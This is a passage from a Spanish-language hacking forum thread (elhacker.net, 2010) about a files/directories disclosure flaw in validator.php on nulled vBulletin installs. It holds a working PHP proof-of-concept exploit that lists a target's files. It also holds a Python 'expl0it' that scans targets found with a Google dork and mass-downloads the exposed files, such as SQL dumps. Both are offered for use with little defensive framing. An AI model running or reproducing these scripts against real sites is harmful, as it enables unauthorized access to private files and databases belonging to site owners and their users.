elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  vBulletin nulled (validator.php) files/directories disclosure
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: vBulletin nulled (validator.php) files/directories disclosure  (Leído 10,465 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #10 en: 23 Enero 2010, 02:00 am »

jajaja good.

El archivo validator.php que se encontraba en la mayoría de las instalaciones de vbulletín lo que hace es validad archivo por archivo en el directorio de instalación y al final del checkeo te muestra todo, sea parte del sistema o no, por lo tanto si es peligroso porque si mantienes un archivo oculto o no quieres que se vea algún directorio de administración eso significa que aparecerá en esa lista.

Solo basta don darle click al botón y listo.

Normalmente este tipo de cosas deberían estar en el directorio de administración y no publico.
Bueno, nada es perfecto, algunos piensan que vbulletin por ser de pago es mejor que uno gratuito.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #11 en: 23 Enero 2010, 03:54 am »

Bueno, hagamos una prueba de concepto (PoC) porque a veces si son muchos archivos puede causar la sobrecarga del explorador.

Al ver el código fuente desde tu explorador en el validator.php verás algo como esto:

Citar
<script type="text/‭‬javascript">
var enkripsi="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'1A'03//'2C--'02Amfg'02`{'02Gtkn@'2C--'02Rn2z'02fml'05v'02pgwqg'02ukvjmwv'02cqikle'2C--'02mp'02K'02okejv'02jcz2p'02{m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Jvvr'1Flgu'02ZONJvvrPgswgqv'0:'0;'1@'2C'02'02'5F'2Cacvaj'02'0:g'0;'2C'02'02'5@'2C'02'02--'02Klvgplgv'02Gzrnmpgp'2C'02'02vp{'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Oqzon0,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02acvaj'02'0:g'0;'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Okapmqmdv,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02'5F'2Cpgvwpl'02zonJvvr'1@'2C'5F'2C--//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
</head>
<body>
<h2>DGT Release Checker</h2>
<div align="center" id="content"><br /><br /><p>Click the button below to ensure this is an official DGT release:<br /><button onclick="validate('4a1eebaa644e71d6b0ef4209881bd9f0')">Validate</button></p></div></body>

Lo puse citado y no como texto para que no se cause un overflow y se pueda ver todo.
Ahora si enviamos la petición y observamos desde el complemento live header de firefox vemos:
http://foro/validator.php?op=4a1eebaa644e71d6b0ef4209881bd9f0&sid=0.40952314391169486

Por lo tanto de donde sacamos ese hash?, del mismo script pero si queremos hacer una automatización debemos ser capaces de descifrar el contenido desde otro lenguaje:

Cifrado original:
Código
  1. var enkripsi="HASH";
  2. teks="";
  3. teksasli="";
  4. var panjang;
  5. panjang=enkripsi.length;
  6. for (i=0;i<panjang;i++){
  7. teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
  8. }
  9. teksasli=unescape(teks);
  10. document.write(teksasli);

Ahora podemos ver algo como esto:
Código
  1. <script type="text/&#8237;&#8236;javascript">
  2. <!--
  3. // Code by EvilB
  4. // Pl0x don't reuse without asking
  5. // or I might hax0r you!
  6. var xmlHttp
  7.  
  8. function validate(str)
  9. {
  10. xmlHttp=GetXmlHttpObject();
  11. if (xmlHttp==null)
  12. {
  13. alert ("Your browser does not support AJAX!");
  14. return;
  15. }
  16. document.getElementById("content").innerHTML='<p>&nbsp;</p><p>&nbsp;</p>'
  17. '<center>Validating Release<br /><img src="validator.php?info=img" alt="Loading..." /></center>';
  18. var url="validator.php";
  19. url=url "?op=" str;
  20. url=url "&sid=" Math.random();
  21. xmlHttp.onreadystatechange=stateChanged;
  22. xmlHttp.open("GET",url,true);
  23. xmlHttp.send(null);
  24. }
  25.  
  26.  
  27. function stateChanged()
  28. {
  29. if (xmlHttp.readyState==4)
  30. {
  31. document.getElementById("content").innerHTML=xmlHttp.responseText;
  32. }
  33. }
  34.  
  35. function GetXmlHttpObject()
  36. {
  37. var xmlHttp=null;
  38. try
  39. {
  40. // Firefox, Opera 8.0 , Safari
  41. xmlHttp=new XMLHttpRequest();
  42. }
  43. catch (e)
  44. {
  45. // Internet Explorer
  46. try
  47. {
  48. xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  49. }
  50. catch (e)
  51. {
  52. xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  53. }
  54. }
  55. return xmlHttp;
  56. }
  57. //-->

O sea que ocultan una función que lo único que hace es tomar la variable enviada por el form y pasarla por variable de la petición y la segunda variable enviada corresponde a un valor al azar que seguramente se utiliza para evitar caché, asi que despues de hacernos perder el tiempo durante 1 minuto podemos hacer la prueba de concepto:

Código
  1. <?php
  2. echo "
  3. VBulletin Full Disclosure exploit by WHK (Original: http://tinkode.baywords.com)
  4. ";
  5.  
  6. if(!$argv[1]){
  7. echo "Uso: ".$argv[0]." http://ejemplo.com/foro/ \n";
  8. }
  9.  
  10. echo "Extracting HTML content ...\n";
  11. if(!$buffer = file_get_contents($argv[1].'validator.php')){
  12. echo "validator.php not found.\n";
  13. }
  14. echo "Find Token ...\n";
  15. if(!$hash = desde_hasta('onclick="validate(\'', '\')">', $buffer)){
  16. echo "Token not found.\n";
  17. }
  18. echo "Obtaining files ...\n";
  19. if(!$buffer = file_get_contents($argv[1].'validator.php?op='.urlencode($hash))){
  20. echo "Files not found.\n";
  21. }
  22. echo "Organizing files ...\n";
  23. if(!$archivos = desde_hasta('<td>', '</td>', $buffer, false, true)){
  24. echo "Impossible to organize. Original Saving ...\n";
  25. }else{
  26. $buffer = print_r($archivos, true);
  27. echo "Saving ...\n";
  28. }
  29.  
  30. if(!guardar_archivo('archivos.txt', $buffer)){
  31. echo "impossible to save, shows ...\n";
  32. print_r($buffer);
  33. }else{
  34. echo "completed!, the file has been stored in archivos.txt\n";
  35. }
  36.  
  37. function desde_hasta($desde, $hasta, $contenido, $cantidad = false, $retornar_todo = false){
  38. if(count(explode($desde ,$contenido)) > 0 ){
  39.  $retorno = explode($desde, $contenido);
  40.  foreach($retorno as $compara){
  41.   $compara = explode($hasta, $compara);
  42.   if($compara = $compara[0])
  43.    $retorna[] = $compara;
  44.   unset($compara);
  45.  }
  46.  if($retornar_todo){
  47.   unset($retorna[0]);
  48.   return $retorna;
  49.  }
  50.  if(is_numeric($cantidad)){
  51.   $retorno = $retorna[$cantidad];
  52.  }else{
  53.   $retorno = $retorna[1];
  54.  }
  55.  return $retorno;
  56. }else{
  57.  return false;
  58. }
  59. }
  60.  
  61. function guardar_archivo($ruta, $contenido){
  62. if(!$handle = @fopen($ruta, 'x'))
  63.  return false;
  64. fwrite($handle, $contenido);
  65. fclose($handle);
  66. return true;
  67. }
  68. ?>

Se ve algo como esto:



En línea

c0de.breaker

Desconectado Desconectado

Mensajes: 25


insecurity.ro


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #12 en: 23 Enero 2010, 10:51 am »

Thanks! :D
En línea

c0de.breaker

Desconectado Desconectado

Mensajes: 25


insecurity.ro


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #13 en: 24 Enero 2010, 02:01 am »




Código:
#! /usr/bin/env python3.1 
#
################################################################
#                ____        _ _      _   _ (validator.php)    #
#               |  _ \      | | |    | | (_)                   #
#         __   _| |_) |_   _| | | ___| |_ _ _ __               #
#         \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              #
#          \ V /| |_) | |_| | | |  __/ |_| | | | |             #
#           \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             #
#                                   @expl0it...                #
################################################################
#       [ vBulletin Files / Directories Full Disclosure ]      #
#    [ Vuln discovered by TinKode / xpl0it written by cmiN ]   #
#           [ Greetz: insecurity.ro, darkc0de.com ]            #
################################################################
#                                                              #
#                  Special thanks for: cmiN                    #
#                  www.TinKode.BayWords.com                    #
################################################################
 
 
import os, sys, urllib.request, urllib.parse, threading
 
 
def main():
    logo = """
\t |---------------------------------------------------------------|
\t |                 ____        _ _      _   _     (TM)           |
\t |                |  _ \      | | |    | | (_)                   |
\t |          __   _| |_) |_   _| | | ___| |_ _ _ __               |
\t |          \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              |
\t |           \ V /| |_) | |_| | | |  __/ |_| | | | |             |
\t |            \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             |
\t |                                                               |
\t |               vBulletin Full Disclosure expl0it               |
\t |                      Written by cmiN                          |
\t |              Vulnerability discovered by TinKode              |
\t |                                                               |
\t |              Dork: intext:"Powered by vBulletin"              |
\t |          Visit: www.insecurity.ro & www.darkc0de.com          |
\t |---------------------------------------------------------------|
"""
    usage = """
         |---------------------------------------------------------------|
         |Usage:  vbfd.py scan http://www.site.com/vB_folder             |
         |        vbfd.py download *.sql -> all                          |
         |        vbfd.py download name.jpg -> one                       |
         |---------------------------------------------------------------|"""
    if sys.platform in ("linux", "linux2"):
        clearing = "clear"
    else:
        clearing = "cls"
    os.system(clearing)
    print(logo)
    args = sys.argv
    if len(args) == 3:
        try:
            print("Please wait...")
            if args[1] == "scan":
                extract_parse_save(args[2].strip("/"))
            elif args[1] == "download":
                download_data(args[2])
        except Exception as message:
            print("An error occurred: {}".format(message))
        except:
            print("Unknown error.")
        else:
            print("Ready!")
    else:
        print(usage)
    input()
 
 
def extract_parse_save(url):
    print("[+]Extracting content...")
    hurl = url + "/validator.php"
    with urllib.request.urlopen(hurl) as usock:
        source = usock.read().decode()
    print("[+]Finding token...")
    word = "validate('"
    source = source[source.index(word) + len(word):]
    value = source[:source.index("'")]
    print("[+]Obtaining paths...")
    hurl = url + "/validator.php?op={}".format(value)
    with urllib.request.urlopen(hurl) as usock:
        lastk, lastv = None, None
        dictionary = dict()
        for line in usock:
            line = line.decode()
            index = line.find("<td>")
            if index != -1:
                lastk = line[index + 4:line.index("</td>")].strip(" ")
            index = line.find("<strong>")
            if index != -1:
                lastv = line[index + 8:line.index("</strong>")].strip(" ")
            if lastk != None and lastv != None:
                index = lastk.rfind(".")
                if index in (-1, 0):
                    lastk = "[other] {}".format(lastk)
                else:
                    lastk = "[{}] {}".format(lastk[index + 1:], lastk)
                dictionary[lastk] = lastv
                lastk, lastv = None, None
    print("[+]Organizing and saving paths...")
    with open("vBlogs.txt", "w") as fout:
        fout.write(url + "\n")
        keys = sorted(dictionary.keys())
        for key in keys:
            fout.write("{} ({})\n".format(key, dictionary[key]))
 
 
def download_data(files):
    print("[+]Searching and downloading files...")
    mthreads = 50
    with open("vBlogs.txt", "r") as fin:
        url = fin.readline().strip("\n")
        if files.find("*") == -1:
            hurl = url + "/" + files.strip("/")
            Download(hurl).start()
        else:
            ext = files[files.rindex(".") + 1:]
            for line in fin:
                pieces = line.strip("\n").split(" ")
                if pieces[0].count(ext) == 1:
                    upath = pieces[1]
                    hurl = url + "/" + upath.strip("/")
                    while threading.active_count() > mthreads:
                        pass
                    Download(hurl).start()
    while threading.active_count() > 1:
        pass
 
 
class Download(threading.Thread):
 
    def __init__(self, url):
        threading.Thread.__init__(self)
        self.url = url
 
    def run(self):
        try:
            with urllib.request.urlopen(self.url) as usock:
                data = usock.read()
                uparser = urllib.parse.urlparse(usock.geturl())
                pieces = uparser.path.split("/")
                fname = pieces[len(pieces) - 1]
                with open(fname, "wb") as fout:
                    fout.write(data)
        except:
            pass
 
 
if __name__ == "__main__":
    main()
En línea

AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #14 en: 24 Enero 2010, 14:55 pm »

Exactly what is your problem. WHK already published a code that works well.

Your exploits in Python stops either because it has cycled indefinitely in the for, or that the variable is usock, not completing the connection

Código
  1.    print("[+]Obtaining paths...")
  2.    hurl = url + "/validator.php?op={}".format(value)
  3.    with urllib.request.urlopen(hurl) as usock:
  4.        lastk, lastv = None, None
  5.        dictionary = dict()
  6.        for line in usock:
  7.  

Anyway I hope you do run the exploit, you could debug a bit to see what values are getting the variables, I mean line to line print what you are doing your "exploit" to see where it stops

Regards
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: vBulletin nulled (validator.php) files/directories disclosure
« Respuesta #15 en: 24 Enero 2010, 18:03 pm »

he has no problems, just want to share
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda Jquery validator
Desarrollo Web
ElInquisidor 1 1,410 Último mensaje 24 Febrero 2017, 23:59 pm
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines